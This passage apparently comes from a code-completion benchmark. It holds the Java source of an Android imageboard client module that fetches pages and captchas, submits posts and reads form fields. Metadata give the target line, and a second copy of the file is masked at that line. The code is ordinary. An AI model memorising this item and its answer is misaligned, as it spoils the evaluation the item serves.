addTags(actionedUponNodeRef, propertyDef, oldValue,
nodeService, stringTaggingSeparators, taggingService);
// Replace the raw value with the created tag NodeRefs
nodeProperties.put(ContentModel.PROP_TAGS,
nodeService.getProperty(actionedUponNodeRef, ContentModel.PROP_TAGS));
}
else
{
QName aspectQName = propertyContainerDef.getName();
requiredAspectQNames.add(aspectQName);
// Get all properties associated with the aspect
Set<QName> aspectProperties = propertyContainerDef.getProperties().keySet();
aspectPropertyQNames.addAll(aspectProperties);
}
}
}
if (!carryAspectProperties)
{
// Remove any node properties that are defined on the aspects but were not extracted
for (QName aspectPropertyQName : aspectPropertyQNames)
{
if (!modifiedProperties.containsKey(aspectPropertyQName))
{
// Simple case: This property was not extracted
nodeProperties.remove(aspectPropertyQName);
}
else if (modifiedProperties.get(aspectPropertyQName) == null)
{
// Trickier (ALF-1823): The property was extracted as 'null'
nodeProperties.remove(aspectPropertyQName);
}
}
}
// The following code can result in a postCommit to extract the metadata again via JavaBehaviour
// (such as ImapContentPolicy.onAddAspect). Not very efficient, but I cannot think of a way to
// avoid it that does not risk memory leaks or disabling behaviour we want.
// Add all the properties to the node BEFORE we add the aspects
nodeService.setProperties(actionedUponNodeRef, nodeProperties);
// Add each of the aspects, as required
for (QName requiredAspectQName : requiredAspectQNames)
{
if (nodeService.hasAspect(actionedUponNodeRef, requiredAspectQName))
{
// The node has the aspect already
continue;
}
else
{
nodeService.addAspect(actionedUponNodeRef, requiredAspectQName, null);
}
}
}
@Override
protected void addParameterDefinitions(List<ParameterDefinition> arg0)
{
// None!
}
} |
52259_1 | /*
* Overchan Android (Meta Imageboard Client)
* Copyright (C) 2014-2016 miku-nyan <https://github.com/miku-nyan>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package nya.miku.wishmaster.chans.monaba;
import java.io.BufferedReader;
import java.io.Closeable;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.apache.commons.lang3.StringEscapeUtils;
import org.apache.commons.lang3.tuple.Pair;
import cz.msebera.android.httpclient.Header;
import cz.msebera.android.httpclient.HttpHeaders;
import cz.msebera.android.httpclient.client.HttpClient;
import cz.msebera.android.httpclient.entity.mime.content.ByteArrayBody;
import cz.msebera.android.httpclient.message.BasicHeader;
import android.content.SharedPreferences;
import android.content.res.Resources;
import android.preference.PreferenceGroup;
import android.text.TextUtils;
import nya.miku.wishmaster.api.CloudflareChanModule;
import nya.miku.wishmaster.api.interfaces.CancellableTask;
import nya.miku.wishmaster.api.interfaces.ProgressListener;
import nya.miku.wishmaster.api.models.CaptchaModel;
import nya.miku.wishmaster.api.models.PostModel;
import nya.miku.wishmaster.api.models.SendPostModel;
import nya.miku.wishmaster.api.models.ThreadModel;
import nya.miku.wishmaster.api.models.UrlPageModel;
import nya.miku.wishmaster.api.util.ChanModels;
import nya.miku.wishmaster.api.util.UrlPathUtils;
import nya.miku.wishmaster.common.IOUtils;
import nya.miku.wishmaster.http.ExtendedMultipartBuilder;
import nya.miku.wishmaster.http.streamer.HttpRequestModel;
import nya.miku.wishmaster.http.streamer.HttpResponseModel;
import nya.miku.wishmaster.http.streamer.HttpStreamer;
import nya.miku.wishmaster.http.streamer.HttpWrongStatusCodeException;
public abstract class AbstractMonabaChan extends CloudflareChanModule {
static final String[] RATINGS = new String[] { "SFW", "R15", "R18", "R18G" };
private static final Pattern IMAGE_URL_PATTERN = Pattern.compile("<img[^>]*src=\"(.*?)\"");
private static final Pattern ERROR_PATTERN = Pattern.compile("<div[^>]*id=\"message\"[^>]*>(.*?)</div>", Pattern.DOTALL);
public AbstractMonabaChan(SharedPreferences preferences, Resources resources) {
super(preferences, resources);
}
protected boolean canHttps() {
return true;
}
protected boolean useHttps() {
if (!canHttps()) return false;
return useHttps(true);
}
protected abstract String getUsingDomain();
protected String[] getAllDomains() {
return new String[] { getUsingDomain() };
}
protected String getUsingUrl() {
return (useHttps() ? "https://" : "http://") + getUsingDomain() + "/";
}
@Override
protected boolean canCloudflare() {
return false;
}
@Override
public void addPreferencesOnScreen(PreferenceGroup preferenceGroup) {
if (canHttps()) addHttpsPreference(preferenceGroup, true);
addProxyPreferences(preferenceGroup);
}
protected ThreadModel[] readPage(String url, ProgressListener listener, CancellableTask task, boolean checkIfModified) throws Exception {
HttpResponseModel responseModel = null;
Closeable in = null;
HttpRequestModel rqModel = HttpRequestModel.builder().setGET().setCheckIfModified(checkIfModified).build();
try {
responseModel = HttpStreamer.getInstance().getFromUrl(url, rqModel, httpClient, listener, task);
if (responseModel.statusCode == 200) {
in = new MonabaReader(responseModel.stream, canCloudflare());
if (task != null && task.isCancelled()) throw new Exception("interrupted");
return ((MonabaReader) in).readPage() ;
} else {
if (responseModel.notModified()) return null;
throw new HttpWrongStatusCodeException(responseModel.statusCode, responseModel.statusCode + " - " + responseModel.statusReason);
}
} catch (Exception e) {
if (responseModel != null) HttpStreamer.getInstance().removeFromModifiedMap(url);
throw e;
} finally {
IOUtils.closeQuietly(in);
if (responseModel != null) responseModel.release();
}
}
@Override
public ThreadModel[] getThreadsList(String boardName, int page, ProgressListener listener, CancellableTask task, ThreadModel[] oldList)
throws Exception {
UrlPageModel urlModel = new UrlPageModel();
urlModel.chanName = getChanName();
urlModel.type = UrlPageModel.TYPE_BOARDPAGE;
urlModel.boardName = boardName;
urlModel.boardPage = page;
String url = buildUrl(urlModel);
ThreadModel[] threads = readPage(url, listener, task, oldList != null);
if (threads == null) {
return oldList;
} else {
return threads;
}
}
@Override
public PostModel[] getPostsList(String boardName, String threadNumber, ProgressListener listener, CancellableTask task, PostModel[] oldList)
throws Exception {
UrlPageModel urlModel = new UrlPageModel();
urlModel.chanName = getChanName();
urlModel.type = UrlPageModel.TYPE_THREADPAGE;
urlModel.boardName = boardName;
urlModel.threadNumber = threadNumber;
String url = buildUrl(urlModel);
ThreadModel[] threads = readPage(url, listener, task, oldList != null);
if (threads == null) {
return oldList;
} else {
if (threads.length == 0) throw new Exception("Unable to parse response");
return oldList == null ? threads[0].posts : ChanModels.mergePostsLists(Arrays.asList(oldList), Arrays.asList(threads[0].posts));
}
}
@Override
public CaptchaModel getNewCaptcha(String boardName, String threadNumber, ProgressListener listener, CancellableTask task) throws Exception {
String captchaUrl = getUsingUrl() + "/captcha";
String html = HttpStreamer.getInstance().getStringFromUrl(captchaUrl, HttpRequestModel.DEFAULT_GET, httpClient, listener, task, false);
Matcher matcher = IMAGE_URL_PATTERN.matcher(html);
if (matcher.find()) {
return downloadCaptcha(fixRelativeUrl(matcher.group(1)), listener, task);
} else {
throw new Exception("Captcha update failed");
}
}
@Override
public String sendPost(SendPostModel model, ProgressListener listener, CancellableTask task) throws Exception {
UrlPageModel urlModel = new UrlPageModel();
urlModel.chanName = getChanName();
urlModel.boardName = model.boardName;
if (model.threadNumber == null) {
urlModel.type = UrlPageModel.TYPE_BOARDPAGE;
urlModel.boardPage = UrlPageModel.DEFAULT_FIRST_PAGE;
} else {
urlModel.type = UrlPageModel.TYPE_THREADPAGE;
urlModel.threadNumber = model.threadNumber;
}
String referer = buildUrl(urlModel);
List<Pair<String, String>> fields = MonabaAntibot.getFormValues(referer, task, httpClient);
if (task != null && task.isCancelled()) throw new Exception("interrupted");
ExtendedMultipartBuilder postEntityBuilder = ExtendedMultipartBuilder.create().
setCharset(Charset.forName("UTF-8")).setDelegates(listener, task);
String rating = (model.icon >= 0 && model.icon < RATINGS.length) ? Integer.toString(model.icon+1) : "1";
int fileCount = 0;
for (Pair<String, String> pair : fields) {
String val;
switch (pair.getKey()) {
case "f1": val = model.name; break;
case "f2": val = model.subject; break;
case "f3": val = model.comment; break;
case "f4": val = TextUtils.isEmpty(model.password) ? getDefaultPassword() : model.password; break;
case "f5": val = TextUtils.isEmpty(model.captchaAnswer) ? "" : model.captchaAnswer; break;
case "f6": val = "1"; break; //noko
case "f7": val = model.sage ? pair.getValue() : ""; break;
default: val = pair.getValue();
}
if (pair.getValue().equals("file")) {
if ((model.attachments != null) && (fileCount < model.attachments.length)) {
postEntityBuilder.addFile(pair.getKey(), model.attachments[fileCount], model.randomHash);
++fileCount;
} else {
postEntityBuilder.addPart(pair.getKey(), new ByteArrayBody(new byte[0], ""));
}
} else if (pair.getValue().equals("rating-input")) {
postEntityBuilder.addString(pair.getKey(), rating);
} else {
postEntityBuilder.addString(pair.getKey(), val);
}
}
String url = getUsingUrl() + model.boardName + (model.threadNumber != null ? "/" + model.threadNumber : "");
Header[] customHeaders = new Header[] { new BasicHeader(HttpHeaders.REFERER, referer) };
HttpRequestModel request = HttpRequestModel.builder().
setPOST(postEntityBuilder.build()).setCustomHeaders(customHeaders).setNoRedirect(true).build();
HttpResponseModel response = null;
try {
response = HttpStreamer.getInstance().getFromUrl(url, request, httpClient, null, task);
if (response.statusCode == 303) {
for (Header header : response.headers) {
if (header != null && HttpHeaders.LOCATION.equalsIgnoreCase(header.getName())) {
String location = header.getValue();
String html = HttpStreamer.getInstance().
getStringFromUrl(location, HttpRequestModel.DEFAULT_GET, httpClient, null, task, false);
if (html.contains("Post has been submitted successfully")) {
return location;
}
Matcher errorMatcher = ERROR_PATTERN.matcher(html);
if (errorMatcher.find()) {
throw new Exception(StringEscapeUtils.unescapeHtml4(errorMatcher.group(1)));
}
return null;
}
}
} else throw new Exception(response.statusCode + " - " + response.statusReason);
} finally {
if (response != null) response.release();
}
return null;
}
@Override
public String buildUrl(UrlPageModel model) throws IllegalArgumentException {
if (!model.chanName.equals(getChanName())) throw new IllegalArgumentException("wrong chan");
if (model.boardName != null && !model.boardName.matches("\\w*")) throw new IllegalArgumentException("wrong board name");
StringBuilder url = new StringBuilder(getUsingUrl());
switch (model.type) {
case UrlPageModel.TYPE_INDEXPAGE:
break;
case UrlPageModel.TYPE_BOARDPAGE:
url.append(model.boardName);
if (model.boardPage > 0) url.append("/page/").append(model.boardPage);
break;
case UrlPageModel.TYPE_THREADPAGE:
url.append(model.boardName).append("/").append(model.threadNumber);
if (model.postNumber != null && model.postNumber.length() > 0) url.append("#").append(model.postNumber);
break;
case UrlPageModel.TYPE_OTHERPAGE:
url.append(model.otherPath.startsWith("/") ? model.otherPath.substring(1) : model.otherPath);
break;
default:
throw new IllegalArgumentException("wrong page type");
}
return url.toString();
}
@Override
public UrlPageModel parseUrl(String url) throws IllegalArgumentException {
String path = UrlPathUtils.getUrlPath(url, getAllDomains());
if (path == null) throw new IllegalArgumentException("wrong domain");
UrlPageModel model = new UrlPageModel();
model.chanName = getChanName();
if (path.length() == 0) {
model.type = UrlPageModel.TYPE_INDEXPAGE;
return model;
}
Matcher threadPage = Pattern.compile("^([^/]+)/(\\d+)(?:#(\\d+))?").matcher(path);
if (threadPage.find()) {
model.type = UrlPageModel.TYPE_THREADPAGE;
model.boardName = threadPage.group(1);
model.threadNumber = threadPage.group(2);
model.postNumber = threadPage.group(3);
return model;
}
Matcher boardPage = Pattern.compile("^([^/]+)(?:/page/(\\d+))?").matcher(path);
if (boardPage.find()) {
model.type = UrlPageModel.TYPE_BOARDPAGE;
model.boardName = boardPage.group(1);
String page = boardPage.group(2);
model.boardPage = (page == null) ? 0 : Integer.parseInt(page);
return model;
}
model.type = UrlPageModel.TYPE_OTHERPAGE;
model.otherPath = path;
return model;
}
protected static class MonabaAntibot {
public static List<Pair<String, String>> getFormValues(String url, CancellableTask task, HttpClient httpClient) throws Exception {
return getFormValues(url, HttpRequestModel.DEFAULT_GET, task, httpClient, "<form class=\"plain-post-form\"", "<div id=\"board-info\"");
}
public static List<Pair<String, String>> getFormValues(String url, HttpRequestModel requestModel, CancellableTask task, HttpClient client,
String startForm, String endForm) throws Exception {
MonabaAntibot reader = null;
HttpRequestModel request = requestModel;
HttpResponseModel response = null;
try {
response = HttpStreamer.getInstance().getFromUrl(url, request, client, null, task);
reader = new MonabaAntibot(response.stream, startForm, endForm);
return reader.readForm();
} finally {
if (reader != null) {
try {
reader.close();
} catch (Exception e) {}
}
if (response != null) response.release();
}
}
private StringBuilder readBuffer = new StringBuilder();
private List<Pair<String, String>> result = null;
private String currentName = null;
private String currentValue = null;
private String currentType = null;
private boolean currentTextarea = false;
private boolean currentReading = false;
private final char[] start;
private final char[][] filters;
private final Reader in;
private static final int FILTER_INPUT_OPEN = 0;
private static final int FILTER_TEXTAREA_OPEN = 1;
private static final int FILTER_SELECT_OPEN = 2;
private static final int FILTER_NAME_OPEN = 3;
private static final int FILTER_VALUE_OPEN = 4;
private static final int FILTER_TYPE_OPEN = 5;
private static final int FILTER_CLASS_OPEN = 6;
private static final int FILTER_TAG_CLOSE = 7;
private MonabaAntibot(InputStream in, String start, String end) {
this.start = start.toCharArray();
this.filters = new char[][] {
"<input".toCharArray(),
"<textarea".toCharArray(),
"<select".toCharArray(),
"name=\"".toCharArray(),
"value=\"".toCharArray(),
"type=\"".toCharArray(),
"class=\"".toCharArray(),
">".toCharArray(),
end.toCharArray()
};
this.in = new BufferedReader(new InputStreamReader(in));
}
private List<Pair<String, String>> readForm() throws IOException {
result = new ArrayList<>();
skipUntilSequence(start);
int filtersCount = filters.length;
int[] pos = new int[filtersCount];
int[] len = new int[filtersCount];
for (int i=0; i<filtersCount; ++i) len[i] = filters[i].length;
int curChar;
while ((curChar = in.read()) != -1) {
for (int i=0; i<filtersCount; ++i) {
if (curChar == filters[i][pos[i]]) {
++pos[i];
if (pos[i] == len[i]) {
if (i == filtersCount - 1) {
return result;
}
handleFilter(i);
pos[i] = 0;
}
} else {
if (pos[i] != 0) pos[i] = curChar == filters[i][0] ? 1 : 0;
}
}
}
return result;
}
private void handleFilter(int i) throws IOException {
switch (i) {
case FILTER_INPUT_OPEN:
case FILTER_SELECT_OPEN:
currentReading = true;
currentTextarea = false;
break;
case FILTER_TEXTAREA_OPEN:
currentReading = true;
currentTextarea = true;
break;
case FILTER_NAME_OPEN:
currentName = StringEscapeUtils.unescapeHtml4(readUntilSequence("\"".toCharArray()));
break;
case FILTER_VALUE_OPEN:
currentValue = StringEscapeUtils.unescapeHtml4(readUntilSequence("\"".toCharArray()));
break;
case FILTER_CLASS_OPEN:
case FILTER_TYPE_OPEN:
currentType = StringEscapeUtils.unescapeHtml4(readUntilSequence("\"".toCharArray()));
break;
case FILTER_TAG_CLOSE:
if (currentTextarea) {
currentValue = StringEscapeUtils.unescapeHtml4(readUntilSequence("<".toCharArray()));
}
if (currentReading && currentName != null) {
result.add(Pair.of(currentName, currentValue != null ? currentValue :
currentType != null ? currentType : ""));
}
currentName = null;
currentValue = null;
currentType = null;
currentReading = false;
currentTextarea = false;
break;
}
}
private void skipUntilSequence(char[] sequence) throws IOException {
int len = sequence.length;
if (len == 0) return;
int pos = 0;
int curChar;
while ((curChar = in.read()) != -1) {
if (curChar == sequence[pos]) {
++pos;
if (pos == len) break;
} else {
if (pos != 0) pos = curChar == sequence[0] ? 1 : 0;
}
}
}
private String readUntilSequence(char[] sequence) throws IOException {
int len = sequence.length;
if (len == 0) return "";
readBuffer.setLength(0);
int pos = 0;
int curChar;
while ((curChar = in.read()) != -1) {
readBuffer.append((char) curChar);
if (curChar == sequence[pos]) {
++pos;
if (pos == len) break;
} else {
if (pos != 0) pos = curChar == sequence[0] ? 1 : 0;
}
}
int buflen = readBuffer.length();
if (buflen >= len) {
readBuffer.setLength(buflen - len);
return readBuffer.toString();
} else {
return "";
}
}
public void close() throws IOException {
in.close();
}
}
}
| AliceCA/Overchan-Android | src/nya/miku/wishmaster/chans/monaba/AbstractMonabaChan.java | 5,850 | //" : "http://") + getUsingDomain() + "/"; | line_comment | nl | /*
* Overchan Android (Meta Imageboard Client)
* Copyright (C) 2014-2016 miku-nyan <https://github.com/miku-nyan>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package nya.miku.wishmaster.chans.monaba;
import java.io.BufferedReader;
import java.io.Closeable;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.apache.commons.lang3.StringEscapeUtils;
import org.apache.commons.lang3.tuple.Pair;
import cz.msebera.android.httpclient.Header;
import cz.msebera.android.httpclient.HttpHeaders;
import cz.msebera.android.httpclient.client.HttpClient;
import cz.msebera.android.httpclient.entity.mime.content.ByteArrayBody;
import cz.msebera.android.httpclient.message.BasicHeader;
import android.content.SharedPreferences;
import android.content.res.Resources;
import android.preference.PreferenceGroup;
import android.text.TextUtils;
import nya.miku.wishmaster.api.CloudflareChanModule;
import nya.miku.wishmaster.api.interfaces.CancellableTask;
import nya.miku.wishmaster.api.interfaces.ProgressListener;
import nya.miku.wishmaster.api.models.CaptchaModel;
import nya.miku.wishmaster.api.models.PostModel;
import nya.miku.wishmaster.api.models.SendPostModel;
import nya.miku.wishmaster.api.models.ThreadModel;
import nya.miku.wishmaster.api.models.UrlPageModel;
import nya.miku.wishmaster.api.util.ChanModels;
import nya.miku.wishmaster.api.util.UrlPathUtils;
import nya.miku.wishmaster.common.IOUtils;
import nya.miku.wishmaster.http.ExtendedMultipartBuilder;
import nya.miku.wishmaster.http.streamer.HttpRequestModel;
import nya.miku.wishmaster.http.streamer.HttpResponseModel;
import nya.miku.wishmaster.http.streamer.HttpStreamer;
import nya.miku.wishmaster.http.streamer.HttpWrongStatusCodeException;
public abstract class AbstractMonabaChan extends CloudflareChanModule {
static final String[] RATINGS = new String[] { "SFW", "R15", "R18", "R18G" };
private static final Pattern IMAGE_URL_PATTERN = Pattern.compile("<img[^>]*src=\"(.*?)\"");
private static final Pattern ERROR_PATTERN = Pattern.compile("<div[^>]*id=\"message\"[^>]*>(.*?)</div>", Pattern.DOTALL);
public AbstractMonabaChan(SharedPreferences preferences, Resources resources) {
super(preferences, resources);
}
protected boolean canHttps() {
return true;
}
protected boolean useHttps() {
if (!canHttps()) return false;
return useHttps(true);
}
protected abstract String getUsingDomain();
protected String[] getAllDomains() {
return new String[] { getUsingDomain() };
}
protected String getUsingUrl() {
return (useHttps() ? "https://" :<SUF>
}
@Override
protected boolean canCloudflare() {
return false;
}
@Override
public void addPreferencesOnScreen(PreferenceGroup preferenceGroup) {
if (canHttps()) addHttpsPreference(preferenceGroup, true);
addProxyPreferences(preferenceGroup);
}
protected ThreadModel[] readPage(String url, ProgressListener listener, CancellableTask task, boolean checkIfModified) throws Exception {
HttpResponseModel responseModel = null;
Closeable in = null;
HttpRequestModel rqModel = HttpRequestModel.builder().setGET().setCheckIfModified(checkIfModified).build();
try {
responseModel = HttpStreamer.getInstance().getFromUrl(url, rqModel, httpClient, listener, task);
if (responseModel.statusCode == 200) {
in = new MonabaReader(responseModel.stream, canCloudflare());
if (task != null && task.isCancelled()) throw new Exception("interrupted");
return ((MonabaReader) in).readPage() ;
} else {
if (responseModel.notModified()) return null;
throw new HttpWrongStatusCodeException(responseModel.statusCode, responseModel.statusCode + " - " + responseModel.statusReason);
}
} catch (Exception e) {
if (responseModel != null) HttpStreamer.getInstance().removeFromModifiedMap(url);
throw e;
} finally {
IOUtils.closeQuietly(in);
if (responseModel != null) responseModel.release();
}
}
@Override
public ThreadModel[] getThreadsList(String boardName, int page, ProgressListener listener, CancellableTask task, ThreadModel[] oldList)
throws Exception {
UrlPageModel urlModel = new UrlPageModel();
urlModel.chanName = getChanName();
urlModel.type = UrlPageModel.TYPE_BOARDPAGE;
urlModel.boardName = boardName;
urlModel.boardPage = page;
String url = buildUrl(urlModel);
ThreadModel[] threads = readPage(url, listener, task, oldList != null);
if (threads == null) {
return oldList;
} else {
return threads;
}
}
@Override
public PostModel[] getPostsList(String boardName, String threadNumber, ProgressListener listener, CancellableTask task, PostModel[] oldList)
throws Exception {
UrlPageModel urlModel = new UrlPageModel();
urlModel.chanName = getChanName();
urlModel.type = UrlPageModel.TYPE_THREADPAGE;
urlModel.boardName = boardName;
urlModel.threadNumber = threadNumber;
String url = buildUrl(urlModel);
ThreadModel[] threads = readPage(url, listener, task, oldList != null);
if (threads == null) {
return oldList;
} else {
if (threads.length == 0) throw new Exception("Unable to parse response");
return oldList == null ? threads[0].posts : ChanModels.mergePostsLists(Arrays.asList(oldList), Arrays.asList(threads[0].posts));
}
}
@Override
public CaptchaModel getNewCaptcha(String boardName, String threadNumber, ProgressListener listener, CancellableTask task) throws Exception {
String captchaUrl = getUsingUrl() + "/captcha";
String html = HttpStreamer.getInstance().getStringFromUrl(captchaUrl, HttpRequestModel.DEFAULT_GET, httpClient, listener, task, false);
Matcher matcher = IMAGE_URL_PATTERN.matcher(html);
if (matcher.find()) {
return downloadCaptcha(fixRelativeUrl(matcher.group(1)), listener, task);
} else {
throw new Exception("Captcha update failed");
}
}
@Override
public String sendPost(SendPostModel model, ProgressListener listener, CancellableTask task) throws Exception {
UrlPageModel urlModel = new UrlPageModel();
urlModel.chanName = getChanName();
urlModel.boardName = model.boardName;
if (model.threadNumber == null) {
urlModel.type = UrlPageModel.TYPE_BOARDPAGE;
urlModel.boardPage = UrlPageModel.DEFAULT_FIRST_PAGE;
} else {
urlModel.type = UrlPageModel.TYPE_THREADPAGE;
urlModel.threadNumber = model.threadNumber;
}
String referer = buildUrl(urlModel);
List<Pair<String, String>> fields = MonabaAntibot.getFormValues(referer, task, httpClient);
if (task != null && task.isCancelled()) throw new Exception("interrupted");
ExtendedMultipartBuilder postEntityBuilder = ExtendedMultipartBuilder.create().
setCharset(Charset.forName("UTF-8")).setDelegates(listener, task);
String rating = (model.icon >= 0 && model.icon < RATINGS.length) ? Integer.toString(model.icon+1) : "1";
int fileCount = 0;
for (Pair<String, String> pair : fields) {
String val;
switch (pair.getKey()) {
case "f1": val = model.name; break;
case "f2": val = model.subject; break;
case "f3": val = model.comment; break;
case "f4": val = TextUtils.isEmpty(model.password) ? getDefaultPassword() : model.password; break;
case "f5": val = TextUtils.isEmpty(model.captchaAnswer) ? "" : model.captchaAnswer; break;
case "f6": val = "1"; break; //noko
case "f7": val = model.sage ? pair.getValue() : ""; break;
default: val = pair.getValue();
}
if (pair.getValue().equals("file")) {
if ((model.attachments != null) && (fileCount < model.attachments.length)) {
postEntityBuilder.addFile(pair.getKey(), model.attachments[fileCount], model.randomHash);
++fileCount;
} else {
postEntityBuilder.addPart(pair.getKey(), new ByteArrayBody(new byte[0], ""));
}
} else if (pair.getValue().equals("rating-input")) {
postEntityBuilder.addString(pair.getKey(), rating);
} else {
postEntityBuilder.addString(pair.getKey(), val);
}
}
String url = getUsingUrl() + model.boardName + (model.threadNumber != null ? "/" + model.threadNumber : "");
Header[] customHeaders = new Header[] { new BasicHeader(HttpHeaders.REFERER, referer) };
HttpRequestModel request = HttpRequestModel.builder().
setPOST(postEntityBuilder.build()).setCustomHeaders(customHeaders).setNoRedirect(true).build();
HttpResponseModel response = null;
try {
response = HttpStreamer.getInstance().getFromUrl(url, request, httpClient, null, task);
if (response.statusCode == 303) {
for (Header header : response.headers) {
if (header != null && HttpHeaders.LOCATION.equalsIgnoreCase(header.getName())) {
String location = header.getValue();
String html = HttpStreamer.getInstance().
getStringFromUrl(location, HttpRequestModel.DEFAULT_GET, httpClient, null, task, false);
if (html.contains("Post has been submitted successfully")) {
return location;
}
Matcher errorMatcher = ERROR_PATTERN.matcher(html);
if (errorMatcher.find()) {
throw new Exception(StringEscapeUtils.unescapeHtml4(errorMatcher.group(1)));
}
return null;
}
}
} else throw new Exception(response.statusCode + " - " + response.statusReason);
} finally {
if (response != null) response.release();
}
return null;
}
@Override
public String buildUrl(UrlPageModel model) throws IllegalArgumentException {
if (!model.chanName.equals(getChanName())) throw new IllegalArgumentException("wrong chan");
if (model.boardName != null && !model.boardName.matches("\\w*")) throw new IllegalArgumentException("wrong board name");
StringBuilder url = new StringBuilder(getUsingUrl());
switch (model.type) {
case UrlPageModel.TYPE_INDEXPAGE:
break;
case UrlPageModel.TYPE_BOARDPAGE:
url.append(model.boardName);
if (model.boardPage > 0) url.append("/page/").append(model.boardPage);
break;
case UrlPageModel.TYPE_THREADPAGE:
url.append(model.boardName).append("/").append(model.threadNumber);
if (model.postNumber != null && model.postNumber.length() > 0) url.append("#").append(model.postNumber);
break;
case UrlPageModel.TYPE_OTHERPAGE:
url.append(model.otherPath.startsWith("/") ? model.otherPath.substring(1) : model.otherPath);
break;
default:
throw new IllegalArgumentException("wrong page type");
}
return url.toString();
}
@Override
public UrlPageModel parseUrl(String url) throws IllegalArgumentException {
String path = UrlPathUtils.getUrlPath(url, getAllDomains());
if (path == null) throw new IllegalArgumentException("wrong domain");
UrlPageModel model = new UrlPageModel();
model.chanName = getChanName();
if (path.length() == 0) {
model.type = UrlPageModel.TYPE_INDEXPAGE;
return model;
}
Matcher threadPage = Pattern.compile("^([^/]+)/(\\d+)(?:#(\\d+))?").matcher(path);
if (threadPage.find()) {
model.type = UrlPageModel.TYPE_THREADPAGE;
model.boardName = threadPage.group(1);
model.threadNumber = threadPage.group(2);
model.postNumber = threadPage.group(3);
return model;
}
Matcher boardPage = Pattern.compile("^([^/]+)(?:/page/(\\d+))?").matcher(path);
if (boardPage.find()) {
model.type = UrlPageModel.TYPE_BOARDPAGE;
model.boardName = boardPage.group(1);
String page = boardPage.group(2);
model.boardPage = (page == null) ? 0 : Integer.parseInt(page);
return model;
}
model.type = UrlPageModel.TYPE_OTHERPAGE;
model.otherPath = path;
return model;
}
protected static class MonabaAntibot {
public static List<Pair<String, String>> getFormValues(String url, CancellableTask task, HttpClient httpClient) throws Exception {
return getFormValues(url, HttpRequestModel.DEFAULT_GET, task, httpClient, "<form class=\"plain-post-form\"", "<div id=\"board-info\"");
}
public static List<Pair<String, String>> getFormValues(String url, HttpRequestModel requestModel, CancellableTask task, HttpClient client,
String startForm, String endForm) throws Exception {
MonabaAntibot reader = null;
HttpRequestModel request = requestModel;
HttpResponseModel response = null;
try {
response = HttpStreamer.getInstance().getFromUrl(url, request, client, null, task);
reader = new MonabaAntibot(response.stream, startForm, endForm);
return reader.readForm();
} finally {
if (reader != null) {
try {
reader.close();
} catch (Exception e) {}
}
if (response != null) response.release();
}
}
private StringBuilder readBuffer = new StringBuilder();
private List<Pair<String, String>> result = null;
private String currentName = null;
private String currentValue = null;
private String currentType = null;
private boolean currentTextarea = false;
private boolean currentReading = false;
private final char[] start;
private final char[][] filters;
private final Reader in;
private static final int FILTER_INPUT_OPEN = 0;
private static final int FILTER_TEXTAREA_OPEN = 1;
private static final int FILTER_SELECT_OPEN = 2;
private static final int FILTER_NAME_OPEN = 3;
private static final int FILTER_VALUE_OPEN = 4;
private static final int FILTER_TYPE_OPEN = 5;
private static final int FILTER_CLASS_OPEN = 6;
private static final int FILTER_TAG_CLOSE = 7;
private MonabaAntibot(InputStream in, String start, String end) {
this.start = start.toCharArray();
this.filters = new char[][] {
"<input".toCharArray(),
"<textarea".toCharArray(),
"<select".toCharArray(),
"name=\"".toCharArray(),
"value=\"".toCharArray(),
"type=\"".toCharArray(),
"class=\"".toCharArray(),
">".toCharArray(),
end.toCharArray()
};
this.in = new BufferedReader(new InputStreamReader(in));
}
private List<Pair<String, String>> readForm() throws IOException {
result = new ArrayList<>();
skipUntilSequence(start);
int filtersCount = filters.length;
int[] pos = new int[filtersCount];
int[] len = new int[filtersCount];
for (int i=0; i<filtersCount; ++i) len[i] = filters[i].length;
int curChar;
while ((curChar = in.read()) != -1) {
for (int i=0; i<filtersCount; ++i) {
if (curChar == filters[i][pos[i]]) {
++pos[i];
if (pos[i] == len[i]) {
if (i == filtersCount - 1) {
return result;
}
handleFilter(i);
pos[i] = 0;
}
} else {
if (pos[i] != 0) pos[i] = curChar == filters[i][0] ? 1 : 0;
}
}
}
return result;
}
private void handleFilter(int i) throws IOException {
switch (i) {
case FILTER_INPUT_OPEN:
case FILTER_SELECT_OPEN:
currentReading = true;
currentTextarea = false;
break;
case FILTER_TEXTAREA_OPEN:
currentReading = true;
currentTextarea = true;
break;
case FILTER_NAME_OPEN:
currentName = StringEscapeUtils.unescapeHtml4(readUntilSequence("\"".toCharArray()));
break;
case FILTER_VALUE_OPEN:
currentValue = StringEscapeUtils.unescapeHtml4(readUntilSequence("\"".toCharArray()));
break;
case FILTER_CLASS_OPEN:
case FILTER_TYPE_OPEN:
currentType = StringEscapeUtils.unescapeHtml4(readUntilSequence("\"".toCharArray()));
break;
case FILTER_TAG_CLOSE:
if (currentTextarea) {
currentValue = StringEscapeUtils.unescapeHtml4(readUntilSequence("<".toCharArray()));
}
if (currentReading && currentName != null) {
result.add(Pair.of(currentName, currentValue != null ? currentValue :
currentType != null ? currentType : ""));
}
currentName = null;
currentValue = null;
currentType = null;
currentReading = false;
currentTextarea = false;
break;
}
}
private void skipUntilSequence(char[] sequence) throws IOException {
int len = sequence.length;
if (len == 0) return;
int pos = 0;
int curChar;
while ((curChar = in.read()) != -1) {
if (curChar == sequence[pos]) {
++pos;
